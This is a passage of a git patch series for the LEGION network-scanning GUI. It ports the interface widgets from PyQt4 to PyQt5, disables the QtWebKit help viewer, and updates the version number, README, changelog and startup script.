self.terminalServicesAllTable = QtGui.QTableWidget() + self.terminalServicesAllTable = QtWidgets.QTableWidget() self.terminalServicesAllTable.setSelectionBehavior(QAbstractItemView.SelectRows) self.terminalServicesAllTable.setMaximumSize(150, 300) self.terminalServicesAllTable.setColumnCount(1) self.terminalServicesAllTable.horizontalHeader().resizeSection(0,150) - self.terminalServicesAllTable.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.terminalServicesAllTable.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) self.terminalServicesAllTable.horizontalHeaderItem(0).setText("Available Services") self.terminalServicesAllTable.horizontalHeader().setVisible(False) self.terminalServicesAllTable.setShowGrid(False) self.terminalServicesAllTable.verticalHeader().setVisible(False) - self.terminalServicesActiveTable = QtGui.QTableWidget() + self.terminalServicesActiveTable = QtWidgets.QTableWidget() self.terminalServicesActiveTable.setSelectionBehavior(QAbstractItemView.SelectRows) self.terminalServicesActiveTable.setMaximumSize(150, 300) self.terminalServicesActiveTable.setColumnCount(1) self.terminalServicesActiveTable.horizontalHeader().resizeSection(0,150) - self.terminalServicesActiveTable.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.terminalServicesActiveTable.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) self.terminalServicesActiveTable.horizontalHeaderItem(0).setText("Applied Services") self.terminalServicesActiveTable.horizontalHeader().setVisible(False) self.terminalServicesActiveTable.setShowGrid(False) @@ -1386,21 +1388,21 @@ def setupTerminalCommandsTab(self): self.removeTerminalServiceButton = QPushButton('<--') self.removeTerminalServiceButton.setMaximumSize(30, 30) - self.verLayout3 = QtGui.QVBoxLayout() + self.verLayout3 = QtWidgets.QVBoxLayout() self.spacer2 = QSpacerItem(0,90) self.verLayout3.addItem(self.spacer2) self.verLayout3.addWidget(self.addTerminalServiceButton) self.verLayout3.addWidget(self.removeTerminalServiceButton) self.verLayout3.addItem(self.spacer2) - self.horLayout5 = QtGui.QHBoxLayout() + self.horLayout5 = QtWidgets.QHBoxLayout() self.spacer3 = QSpacerItem(78,0) self.horLayout5.addItem(self.spacer3) self.horLayout5.addWidget(self.terminalServicesAllTable) self.horLayout5.addLayout(self.verLayout3) self.horLayout5.addWidget(self.terminalServicesActiveTable) - self.verLayout2 = QtGui.QVBoxLayout() + self.verLayout2 = QtWidgets.QVBoxLayout() self.spacer4 = QSpacerItem(0,20) self.verLayout2.addItem(self.spacer4) self.verLayout2.addLayout(self.horLayout2) @@ -1410,7 +1412,7 @@ def setupTerminalCommandsTab(self): self.spacer5 = QSpacerItem(0,50) self.verLayout2.addItem(self.spacer5) - self.globLayoutTerminalActions = QtGui.QHBoxLayout(self.portTerminalActionsWidget) + self.globLayoutTerminalActions = QtWidgets.QHBoxLayout(self.portTerminalActionsWidget) self.globLayoutTerminalActions.addLayout(self.verLayout1) self.spacer6 = QSpacerItem(10,0) self.globLayoutTerminalActions.addItem(self.spacer6) @@ -1419,52 +1421,52 @@ def setupTerminalCommandsTab(self): self.globLayoutTerminalActions.addItem(self.spacer7) def setupStagedNmapTab(self): - self.stage1label = QtGui.QLabel() + self.stage1label = QtWidgets.QLabel() self.stage1label.setText('nmap stage 1') self.stage1label.setFixedWidth(100) - self.stage1Input = QtGui.QLineEdit() + self.stage1Input = QtWidgets.QLineEdit() self.stage1Input.setFixedWidth(500) - self.hlayout1 = QtGui.QHBoxLayout() + self.hlayout1 = QtWidgets.QHBoxLayout() self.hlayout1.addWidget(self.stage1label) self.hlayout1.addWidget(self.stage1Input) - self.stage2label = QtGui.QLabel() + self.stage2label = QtWidgets.QLabel() self.stage2label.setText('nmap stage 2') self.stage2label.setFixedWidth(100) - self.stage2Input = QtGui.QLineEdit() + self.stage2Input = QtWidgets.QLineEdit() self.stage2Input.setFixedWidth(500) - self.hlayout2 = QtGui.QHBoxLayout() + self.hlayout2 = QtWidgets.QHBoxLayout() self.hlayout2.addWidget(self.stage2label) self.hlayout2.addWidget(self.stage2Input) - self.stage3label = QtGui.QLabel() + self.stage3label = QtWidgets.QLabel() self.stage3label.setText('nmap stage 3') self.stage3label.setFixedWidth(100) - self.stage3Input = QtGui.QLineEdit() + self.stage3Input = QtWidgets.QLineEdit() self.stage3Input.setFixedWidth(500) - self.hlayout3 = QtGui.QHBoxLayout() + self.hlayout3 = QtWidgets.QHBoxLayout() self.hlayout3.addWidget(self.stage3label) self.hlayout3.addWidget(self.stage3Input) - self.stage4label = QtGui.QLabel() + self.stage4label = QtWidgets.QLabel() self.stage4label.setText('nmap stage 4') self.stage4label.setFixedWidth(100) - self.stage4Input = QtGui.QLineEdit() + self.stage4Input = QtWidgets.QLineEdit() self.stage4Input.setFixedWidth(500) - self.hlayout4 = QtGui.QHBoxLayout() + self.hlayout4 = QtWidgets.QHBoxLayout() self.hlayout4.addWidget(self.stage4label) self.hlayout4.addWidget(self.stage4Input) - self.stage5label = QtGui.QLabel() + self.stage5label = QtWidgets.QLabel() self.stage5label.setText('nmap stage 5') self.stage5label.setFixedWidth(100) - self.stage5Input = QtGui.QLineEdit() + self.stage5Input = QtWidgets.QLineEdit() self.stage5Input.setFixedWidth(500) - self.hlayout5 = QtGui.QHBoxLayout() + self.hlayout5 = QtWidgets.QHBoxLayout() self.hlayout5.addWidget(self.stage5label) self.hlayout5.addWidget(self.stage5Input) - self.vlayout1 = QtGui.QVBoxLayout() + self.vlayout1 = QtWidgets.QVBoxLayout() self.vlayout1.addLayout(self.hlayout1) self.vlayout1.addLayout(self.hlayout2) self.vlayout1.addLayout(self.hlayout3) @@ -1472,29 +1474,29 @@ def setupStagedNmapTab(self): self.vlayout1.addLayout(self.hlayout5) self.vlayout1.addStretch() - self.gHorLayout = QtGui.QHBoxLayout(self.StagedNmapWidget) + self.gHorLayout = QtWidgets.QHBoxLayout(self.StagedNmapWidget) self.gHorLayout.addLayout(self.vlayout1) self.spacer2 = QSpacerItem(50,0) # right margin spacer self.gHorLayout.addItem(self.spacer2) def setupAutomatedAttacksTab(self): - self.GeneralAutoSettingsWidget = QtGui.QWidget() + self.GeneralAutoSettingsWidget = QtWidgets.QWidget() self.AutoAttacksSettingsTab.addTab(self.GeneralAutoSettingsWidget, "General") - self.AutoToolsWidget = QtGui.QWidget() + self.AutoToolsWidget = QtWidgets.QWidget() self.AutoAttacksSettingsTab.addTab(self.AutoToolsWidget, "Tool Configuration") self.setupAutoAttacksGeneralTab() self.setupAutoAttacksToolTab() def setupAutoAttacksGeneralTab(self): - self.globVerAutoSetLayout = QtGui.QVBoxLayout(self.GeneralAutoSettingsWidget) + self.globVerAutoSetLayout = QtWidgets.QVBoxLayout(self.GeneralAutoSettingsWidget) - self.enableAutoAttacks = QtGui.QCheckBox() + self.enableAutoAttacks = QtWidgets.QCheckBox() self.enableAutoAttacks.setText('Run automated attacks') - self.checkDefaultCred = QtGui.QCheckBox() + self.checkDefaultCred = QtWidgets.QCheckBox() self.checkDefaultCred.setText('Check for default credentials') - self.defaultBoxVerlayout = QtGui.QVBoxLayout() + self.defaultBoxVerlayout = QtWidgets.QVBoxLayout() self.defaultCredentialsBox = QGroupBox("Default Credentials") self.defaultCredentialsBox.setLayout(self.defaultBoxVerlayout) self.globVerAutoSetLayout.addWidget(self.enableAutoAttacks) @@ -1503,28 +1505,28 @@ def setupAutoAttacksGeneralTab(self): self.globVerAutoSetLayout.addStretch() def setupAutoAttacksToolTab(self): - self.toolNameLabel = QtGui.QLabel() + self.toolNameLabel = QtWidgets.QLabel() self.toolNameLabel.setText('Tool') self.toolNameLabel.setFixedWidth(150) - self.toolServicesLabel = QtGui.QLabel() + self.toolServicesLabel = QtWidgets.QLabel() self.toolServicesLabel.setText('Services') self.toolServicesLabel.setFixedWidth(300) - self.enableAllToolsLabel = QtGui.QLabel() + self.enableAllToolsLabel = QtWidgets.QLabel() self.enableAllToolsLabel.setText('Run automatically') self.enableAllToolsLabel.setFixedWidth(150) - self.autoToolTabHorLayout = QtGui.QHBoxLayout() + self.autoToolTabHorLayout = QtWidgets.QHBoxLayout() self.autoToolTabHorLayout.addWidget(self.toolNameLabel) self.autoToolTabHorLayout.addWidget(self.toolServicesLabel) self.autoToolTabHorLayout.addWidget(self.enableAllToolsLabel) - self.scrollArea = QtGui.QScrollArea() - self.scrollWidget = QtGui.QWidget() + self.scrollArea = QtWidgets.QScrollArea() + self.scrollWidget = QtWidgets.QWidget() - self.globVerAutoToolsLayout = QtGui.QVBoxLayout(self.AutoToolsWidget) + self.globVerAutoToolsLayout = QtWidgets.QVBoxLayout(self.AutoToolsWidget) self.globVerAutoToolsLayout.addLayout(self.autoToolTabHorLayout) - self.scrollVerLayout = QtGui.QVBoxLayout(self.scrollWidget) + self.scrollVerLayout = QtWidgets.QVBoxLayout(self.scrollWidget) self.enabledSpacer = QSpacerItem(60,0) # by default the automated attacks are not activated and the tab is not enabled @@ -1533,9 +1535,9 @@ def setupAutoAttacksToolTab(self): # for all the browse buttons def wordlistDialog(self, title='Choose username path'): if title == 'Choose username path': - path = QtGui.QFileDialog.getExistingDirectory(self, title, '/', QFileDialog.ShowDirsOnly | QFileDialog.DontResolveSymlinks) + path = QtWidgets.QFileDialog.getExistingDirectory(self, title, '/', QFileDialog.ShowDirsOnly | QFileDialog.DontResolveSymlinks) self.userlistPath.setText(str(path)) else: - path = QtGui.QFileDialog.getExistingDirectory(self, title, '/') + path = QtWidgets.QFileDialog.getExistingDirectory(self, title, '/') self.passwordlistPath.setText(str(path)) diff --git a/ui/view.py b/ui/view.py index 5825e0e2..18faa51e 100644 --- a/ui/view.py +++ b/ui/view.py @@ -14,20 +14,18 @@ import sys, os, ntpath, signal, re # for file operations, to kill processes and for regex try: - from PyQt4.QtCore import * # for filters dialog + from PyQt5.QtCore import * # for filters dialog + from PyQt5 import QtCore + from PyQt5 import QtWidgets, QtGui, QtCore except ImportError: print("[-] Import failed. PyQt4 library not found. \nTry installing it with: apt install python-qt4") -try: - usePySide = False - from PyQt4 import QtWebKit -except ImportError as e: - try: - from PySide import QtWebKit - usePySide = True - except ImportErro as e: - print("[-] Import failed. QtWebKit library not found. \nTry installing it with: apt install python-pyside.qtwebkit") - exit(1) +#try: +# from PySide import QtWebKit +# usePySide = True +#except ImportErro as e: +# print("[-] Import failed. QtWebKit library not found. \nTry installing it with: apt install python-pyside.qtwebkit") +# exit(1) from ui.gui import * from ui.dialogs import * @@ -64,18 +62,18 @@ def startOnce(self): self.importProgressWidget = ProgressWidget('Importing nmap..', self.ui.centralwidget) self.adddialog = AddHostsDialog(self.ui.centralwidget) self.settingsWidget = AddSettingsDialog(self.ui.centralwidget) - self.helpWidget = QtWebKit.QWebView() - self.helpWidget.setWindowTitle('LEGION Help') + #self.helpWidget = QtWebKit.QWebView() + #self.helpWidget.setWindowTitle('LEGION Help') # kali moves the help file so let's find it url = './doc/help.html' if not os.path.exists(url): url = '/usr/share/doc/legion/help.html' - if usePySide: - self.helpWidget.load(url) - else: - self.helpWidget.load(QUrl(url)) + #if usePySide: + # self.helpWidget.load(url) + #else: + #self.helpWidget.load(QUrl(url)) self.ui.HostsTableView.setSelectionMode(1) # disable multiple selection self.ui.ServiceNamesTableView.setSelectionMode(1) @@ -108,7 +106,7 @@ def start(self, title='*untitled'): self.setMainWindowTitle(title) self.ui.statusbar.showMessage('Starting up..', msecs=1000) - + self.initTables() # initialise all tables self.updateInterface() @@ -180,7 +178,6 @@ def initTables(self): # this funct # hosts table (left) headers = ["Id", "OS","Accuracy","Host","IPv4","IPv6","Mac","Status","Hostname","Vendor","Uptime","Lastboot","Distance","CheckedHost","State","Count"] setTableProperties(self.ui.HostsTableView, len(headers), [0,2,4,5,6,7,8,9,10,11,12,13,14,15]) - self.ui.HostsTableView.horizontalHeader().setResizeMode(1,2) self.ui.HostsTableView.horizontalHeader().resizeSection(1,30) # service names table (left) @@ -194,12 +191,10 @@ def initTables(self): # this funct # service table (right) headers = ["Host","Port","Port","Protocol","State","HostId","ServiceId","Name","Product","Version","Extrainfo","Fingerprint"] setTableProperties(self.ui.ServicesTableView, len(headers), [0,1,5,6,8,10,11]) - self.ui.ServicesTableView.horizontalHeader().setResizeMode(0) # ports by service (right) headers = ["Host","Port","Port","Protocol","State","HostId","ServiceId","Name","Product","Version","Extrainfo","Fingerprint"] setTableProperties(self.ui.ServicesTableView, len(headers), [2,5,6,8,10,11]) - self.ui.ServicesTableView.horizontalHeader().setResizeMode(0) self.ui.ServicesTableView.horizontalHeader().resizeSection(0,130) # resize IP # scripts table (right) @@ -213,10 +208,8 @@ def initTables(self): # this funct # process table headers = ["Progress","Display","Pid","Name","Tool","Host","Port","Protocol","Command","Start time","OutputFile","Output","Status"] - #setTableProperties(self.ui.ProcessesTableView, len(headers), [1,2,3,6,7,8,10,11]) setTableProperties(self.ui.ProcessesTableView, len(headers), [1,2,3,6,7,8,11,12,14]) self.ui.ProcessesTableView.horizontalHeader().resizeSection(0,125) - #self.ui.ProcessesTableView.horizontalHeader().resizeSection(4,125) self.ui.ProcessesTableView.horizontalHeader().resizeSection(4,250) def setMainWindowTitle(self, title): @@ -240,9 +233,9 @@ def setDirty(self, status=True): # this funct def dealWithRunningProcesses(self, exiting=False): if len(self.controller.getRunningProcesses()) > 0: message = "There are still processes running. If you continue, every process will be terminated. Are you sure you want to continue?" - reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) + reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) - if not reply == QtGui.QMessageBox.Yes: + if not reply == QtWidgets.QMessageBox.Yes: return False self.controller.killRunningProcesses() @@ -259,13 +252,13 @@ def dealWithCurrentProject(self, exiting=False): # returns Tr return self.dealWithRunningProcesses(exiting) # deal with running processes def confirmExit(self): - reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', "Are you sure to exit the program?", QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) - return (reply == QtGui.QMessageBox.Yes) + reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', "Are you sure to exit the program?", QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) + return (reply == QtWidgets.QMessageBox.Yes) def killProcessConfirmation(self): message = "Are you sure you want to kill the selected processes?" - reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) - if reply == QtGui.QMessageBox.Yes: + reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) + if reply == QtWidgets.QMessageBox.Yes: return True return False @@ -286,12 +279,12 @@ def connectOpenExistingProject(self): def openExistingProject(self): if self.dealWithCurrentProject(): - filename = QtGui.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Open project', self.controller.getCWD(), filter='SPARTA project (*.sprt)') + filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Open project', self.controller.getCWD(), filter='SPARTA project (*.sprt)') if not filename == '': # check for permissions if not os.access(filename, os.R_OK) or not os.access(filename, os.W_OK): print('[-] Insufficient permissions to open this file.') - reply = QtGui.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this file.","Ok") + reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this file.","Ok") return self.controller.openExistingProject(filename) @@ -329,13 +322,13 @@ def saveProjectAs(self): self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) - filename = QtGui.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', self.controller.getCWD(), filter='SPARTA project (*.sprt)', options=QtGui.QFileDialog.DontConfirmOverwrite) + filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', self.controller.getCWD(), filter='SPARTA project (*.sprt)', options=QtWidgets.QFileDialog.DontConfirmOverwrite) while not filename =='': if not os.access(ntpath.dirname(str(filename)), os.R_OK) or not os.access(ntpath.dirname(str(filename)), os.W_OK): print('[-] Insufficient permissions on this folder.') - reply = QtGui.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this folder.","Ok") + reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this folder.","Ok") else: if self.controller.saveProjectAs(filename): @@ -343,14 +336,14 @@ def saveProjectAs(self): if not str(filename).endswith('.sprt'): filename = str(filename) + '.sprt' - msgBox = QtGui.QMessageBox() + msgBox = QtWidgets.QMessageBox() reply = msgBox.question(self.ui.centralwidget, 'Confirm', "A file named \""+ntpath.basename(str(filename))+"\" already exists. Do you want to replace it?", "Abort", "Replace", "", 0) if reply == 1: self.controller.saveProjectAs(filename, 1) # replace break - filename = QtGui.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', '.', filter='SPARTA project (*.sprt)', options=QtGui.QFileDialog.DontConfirmOverwrite) + filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', '.', filter='SPARTA project (*.sprt)', options=QtWidgets.QFileDialog.DontConfirmOverwrite) if not filename == '': self.setDirty(False) @@ -364,12 +357,12 @@ def saveProjectAs(self): ### def saveOrDiscard(self): - reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', "The project has been modified. Do you want to save your changes?", QtGui.QMessageBox.Save | QtGui.QMessageBox.Discard | QtGui.QMessageBox.Cancel, QtGui.QMessageBox.Save) + reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', "The project has been modified. Do you want to save your changes?", QtWidgets.QMessageBox.Save | QtWidgets.QMessageBox.Discard | QtWidgets.QMessageBox.Cancel, QtWidgets.QMessageBox.Save) - if reply == QtGui.QMessageBox.Save: + if reply == QtWidgets.QMessageBox.Save: self.saveProject() return True - elif reply == QtGui.QMessageBox.Discard: + elif reply == QtWidgets.QMessageBox.Discard: return True else: return False # the user cancelled @@ -413,13 +406,13 @@ def connectImportNmap(self): def importNmap(self): self.ui.statusbar.showMessage('Importing nmap xml..', msecs=1000) - filename = QtGui.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Choose nmap file', self.controller.getCWD(), filter='XML file (*.xml)') + filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Choose nmap file', self.controller.getCWD(), filter='XML file (*.xml)') if not filename == '': if not os.access(filename, os.R_OK): # check for read permissions on the xml file print('[-] Insufficient permissions to read this file.') - reply = QtGui.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions to read this file.","Ok") + reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions to read this file.","Ok") return self.importProgressWidget.reset('Importing nmap..') @@ -451,7 +444,8 @@ def cancelSettings(self): self.controller.cancelSettings() def connectHelp(self): - self.ui.menuHelp.triggered.connect(self.helpWidget.show) + #self.ui.menuHelp.triggered.connect(self.helpWidget.show) + pass ### @@ -546,16 +540,16 @@ def toolHostsClick(self): else: self.restoreToolTabWidget() # restore the tool output textview now showing in the tools display panel to its original host tool tab - if self.ui.DisplayWidget.findChild(QtGui.QPlainTextEdit): # remove the tool output currently in the tools display panel (if any) - self.ui.DisplayWidget.findChild(QtGui.QPlainTextEdit).setParent(None) + if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit): # remove the tool output currently in the tools display panel (if any) + self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit).setParent(None) tabs = [] # fetch tab list for this host (if any) if str(ip) in self.hostTabs: tabs = self.hostTabs[str(ip)] for tab in tabs: # place the tool output textview in the tools display panel - if tab.findChild(QtGui.QPlainTextEdit) and str(tab.findChild(QtGui.QPlainTextEdit).property('dbId')) == str(self.tool_host_clicked): - self.ui.DisplayWidgetLayout.addWidget(tab.findChild(QtGui.QPlainTextEdit)) + if tab.findChild(QtWidgets.QPlainTextEdit) and str(tab.findChild(QtWidgets.QPlainTextEdit).property('dbId')) == str(self.tool_host_clicked): + self.ui.DisplayWidgetLayout.addWidget(tab.findChild(QtWidgets.QPlainTextEdit)) break ### @@ -873,7 +867,6 @@ def updateHostsTableView(self): for i in [0,2,4,5,6,7,8,9,10,11,12,13,14,15]: # hide some columns self.ui.HostsTableView.setColumnHidden(i, True) - self.ui.HostsTableView.horizontalHeader().setResizeMode(1,2) self.ui.HostsTableView.horizontalHeader().resizeSection(1,30) self.HostsTableModel.sort(3, Qt.DescendingOrder) @@ -947,7 +940,6 @@ def updateServiceTableView(self, hostIP): for i in [0,1,5,6,8,10,11]: # hide some columns self.ui.ServicesTableView.setColumnHidden(i, True) - self.ui.ServicesTableView.horizontalHeader().setResizeMode(0) self.ServicesTableModel.sort(2, Qt.DescendingOrder) # sort by port by default (override default) def updatePortsByServiceTableView(self, serviceName): @@ -961,7 +953,6 @@ def updatePortsByServiceTableView(self, serviceName): for i in [2,5,6,7,8,10,11]: # hide some columns self.ui.ServicesTableView.setColumnHidden(i, True) - self.ui.ServicesTableView.horizontalHeader().setResizeMode(0) self.ui.ServicesTableView.horizontalHeader().resizeSection(0,165) # resize IP self.ui.ServicesTableView.horizontalHeader().resizeSection(1,65) # resize port self.ui.ServicesTableView.horizontalHeader().resizeSection(3,100) # resize protocol @@ -1178,9 +1169,9 @@ def createNewTabForHost(self, ip, tabtitle, restoring=False, content='', filenam tempTextView = tempWidget.scrollArea tempTextView.setObjectName(str(tabtitle)) else: - tempWidget = QtGui.QWidget() + tempWidget = QtWidgets.QWidget() tempWidget.setObjectName(str(tabtitle)) - tempTextView = QtGui.QPlainTextEdit(tempWidget) + tempTextView = QtWidgets.QPlainTextEdit(tempWidget) tempTextView.setReadOnly(True) if self.controller.getSettings().general_tool_output_black_background == 'True': p = tempTextView.palette() @@ -1188,7 +1179,7 @@ def createNewTabForHost(self, ip, tabtitle, restoring=False, content='', filenam p.setColor(QtGui.QPalette.Text, Qt.white) # white font tempTextView.setPalette(p) tempTextView.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black - tempLayout = QtGui.QHBoxLayout(tempWidget) + tempLayout = QtWidgets.QHBoxLayout(tempWidget) tempLayout.addWidget(tempTextView) if not content == '': # if there is any content to display @@ -1218,14 +1209,14 @@ def closeHostToolTab(self, index): if 'screenshot' in str(self.ui.ServicesTabWidget.currentWidget().objectName()): dbId = int(currentWidget.property('dbId')) else: - dbId = int(currentWidget.findChild(QtGui.QPlainTextEdit).property('dbId')) + dbId = int(currentWidget.findChild(QtWidgets.QPlainTextEdit).property('dbId')) pid = int(self.controller.getPidForProcess(dbId)) # the process ID (=os) if str(self.controller.getProcessStatusForDBId(dbId)) == 'Running': message = "This process is still running. Are you sure you want to kill it?" - reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) - if reply == QtGui.QMessageBox.Yes: + reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) + if reply == QtWidgets.QMessageBox.Yes: self.controller.killProcess(pid, dbId) else: return @@ -1233,8 +1224,8 @@ def closeHostToolTab(self, index): # TODO: duplicate code if str(self.controller.getProcessStatusForDBId(dbId)) == 'Waiting': message = "This process is waiting to start. Are you sure you want to cancel it?" - reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) - if reply == QtGui.QMessageBox.Yes: + reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) + if reply == QtWidgets.QMessageBox.Yes: self.controller.cancelProcess(dbId) else: return @@ -1297,19 +1288,19 @@ def restoreToolTabsForHost(self, ip): # this function restores the textview widget (now in the tools display widget) to its original tool tab (under the correct host) def restoreToolTabWidget(self, clear=False): - if self.ui.DisplayWidget.findChild(QtGui.QPlainTextEdit) == self.ui.toolOutputTextView: + if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit) == self.ui.toolOutputTextView: return for host in self.hostTabs.keys(): hosttabs = self.hostTabs[host] for tab in hosttabs: - if not 'screenshot' in str(tab.objectName()) and not tab.findChild(QtGui.QPlainTextEdit): - tab.layout().addWidget(self.ui.DisplayWidget.findChild(QtGui.QPlainTextEdit)) + if not 'screenshot' in str(tab.objectName()) and not tab.findChild(QtWidgets.QPlainTextEdit): + tab.layout().addWidget(self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit)) break if clear: - if self.ui.DisplayWidget.findChild(QtGui.QPlainTextEdit): # remove the tool output currently in the tools display panel - self.ui.DisplayWidget.findChild(QtGui.QPlainTextEdit).setParent(None) + if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit): # remove the tool output currently in the tools display panel + self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit).setParent(None) self.ui.DisplayWidgetLayout.addWidget(self.ui.toolOutputTextView) @@ -1330,8 +1321,8 @@ def closeBruteTab(self, index): if not self.ui.BruteTabWidget.currentWidget().pid == -1: # if process is running if self.ProcessesTableModel.getProcessStatusForPid(self.ui.BruteTabWidget.currentWidget().pid)=="Running": message = "This process is still running. Are you sure you want to kill it?" - reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) - if reply == QtGui.QMessageBox.Yes: + reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) + if reply == QtWidgets.QMessageBox.Yes: self.killBruteProcess(self.ui.BruteTabWidget.currentWidget()) else: return @@ -1363,8 +1354,8 @@ def callHydra(self, bWidget): # check if host is already in scope if not self.controller.isHostInDB(bWidget.ipTextinput.text()): message = "This host is not in scope. Add it to scope and continue?" - reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.Yes) - if reply == QtGui.QMessageBox.No: + reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.Yes) + if reply == QtWidgets.QMessageBox.No: return else: print('Adding host to scope here!!') From e081f72005dc658fadd2c414ce1be0178ff2b5f9 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 21 Sep 2018 07:35:34 -0500 Subject: [PATCH 007/450] Docs --- CHANGELOG.txt | 6 ++++++ README.md | 6 ++++-- startLegion.sh | 1 + 3 files changed, 11 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.txt b/CHANGELOG.txt index 8fb55284..dd37622c 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -4,3 +4,9 @@ LEGION 0.1.1 * Removed Elixir * Converted to Python3.5+ * Process handeling ensures dead processes are shown as crashed or finished + +LEGION 0.2.0 + +* Port to PyQt5 +* Handle process output encoding issues +* Added dependancy installer diff --git a/README.md b/README.md index bc753df4..6110b198 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -LEGION 0.1.0 (https://govanguard.io) +LEGION 0.2.0 (https://govanguard.io) == Authors: @@ -15,6 +15,8 @@ Runs on Ubuntu, and Windows Subsystem for Linux Ported from Python2.7 to Python 3.5+ +Ported from PyQt4 to PyQt5 + Removed all Elixir crustiness @@ -23,7 +25,7 @@ Requirements Ubuntu or variant or WSL (Windows Subsystem for Linux) Python 3.5+ -PyQT4 +PyQT5 SQLAlchemy six hydra diff --git a/startLegion.sh b/startLegion.sh index 6d5510e5..6d0e2cbd 100644 --- a/startLegion.sh +++ b/startLegion.sh @@ -6,6 +6,7 @@ then unameOutput=`uname -a` releaseOutput=`cat /etc/*release*` # | grep -i 'ubuntu' | wc -l echo "First run here. Let's try to automatically install all the dependancies..." + mkdir tmp if [[ $unameOutput == *"Microsoft"* ]] then echo "Detected WSL (Windows Subsystem for Linux)" From 468725cea30cdbe481aca20ad7b4c602f814b596 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 21 Sep 2018 07:52:32 -0500 Subject: [PATCH 008/450] Fix version --- controller/controller.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/controller/controller.py b/controller/controller.py index 08ab4d59..9e1dee8b 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -25,7 +25,7 @@ class Controller(): # initialisations that will happen once - when the program is launched def __init__(self, view, logic): - self.version = 'LEGION 0.1.0' # update this everytime you commit! + self.version = 'LEGION 0.2.0' # update this everytime you commit! self.logic = logic self.view = view self.view.setController(self) From 8354fc9c8caca4cb0d139dac7f743b2981225cc4 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 21 Sep 2018 08:05:48 -0500 Subject: [PATCH 009/450] Fix for XForwarding --- startLegion.sh | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/startLegion.sh b/startLegion.sh index 6d0e2cbd..d8e38f6d 100644 --- a/startLegion.sh +++ b/startLegion.sh @@ -1,12 +1,21 @@ #!/bin/bash -export DISPLAY=localhost:0.0 + +unameOutput=`uname -a` + +# Detect WSL and enable XForwaridng to 